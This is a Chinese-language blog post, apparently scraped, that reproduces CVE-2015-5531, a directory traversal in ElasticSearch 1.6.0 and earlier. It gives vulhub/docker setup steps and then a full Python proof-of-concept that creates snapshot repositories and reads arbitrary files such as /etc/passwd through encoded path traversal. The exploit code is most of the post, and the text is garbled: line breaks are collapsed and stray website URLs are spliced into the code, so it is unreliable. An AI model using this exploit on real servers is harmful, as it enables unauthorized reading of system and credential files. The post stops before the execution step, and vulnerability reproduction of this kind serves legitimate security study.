WEB安全|ElasticSearch 目录穿越漏洞（CVE-2015-5531）漏洞复现|elasticsearch|安全漏洞

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漏洞描述 【WEB安全|ElasticSearch 目录穿越漏洞（CVE-2015-5531）】elasticsearch 1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。
影响范围 1.6.1以下
复现过程这里使用v1.6.0版本
使用vulhub

cd /app/vulhub-master/elasticsearch/CVE-2015-5531

使用docker启动

docker-compose up -d

环境启动后，访问http://your-ip:9200

http://192.168.239.129:9200

直接上POC，cve-2015-5331.py，内容如下（不需要修改）

#!/usr/bin/env python # PoC for CVE-2015-5531 - Reported by Benjamin Smith # Affects ElasticSearch 1.6.0 and prior # Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net # Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com # Tested on default Linux (.deb) install || requires path.repo: to be set on config fileimport urllib, urllib2, json, sys, reprint "!dSR script for CVE-2015-5531\n" if len(sys.argv) <> 3: print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] sys.exit()host = sys.argv[1] fpath = urllib.quote(sys.argv[2], safe='') port = 9200 trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..' reponame = 'pwn' baseurl = "http://%s:%s/_snapshot/" % (host, port) xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)def createSnapdirs(): try: url = "%s/%s" % (baseurl, reponame) request = urllib2.Request(url, data='https://www.it610.com/article/{"type":"fs","settings":{"location":"dsr"}}') request.get_method = lambda: 'POST' urllib2.urlopen(request)url = "%s/%sie" % (baseurl, reponame) request = urllib2.Request(url, data='https://www.it610.com/article/{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}') request.get_method = lambda: 'POST' urllib2.urlopen(request) except urllib2.HTTPError, e: data = https://www.it610.com/article/json.load(e) print"[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n" print str(data['error']) sys.exit()def grabFile(xplurl): try: urllib2.urlopen(xplurl) except urllib2.HTTPError, e: data = https://www.it610.com/article/json.load(e) extrdata = re.findall(r'\d+', str(data['error'])) decoder = bytearray() for i in extrdata[+2:]: decoder.append(int(i)) print decoderdef main(): createSnapdirs() grabFile(xplurl)if __name__ == "__main__": main()

执行命令（IP自己改）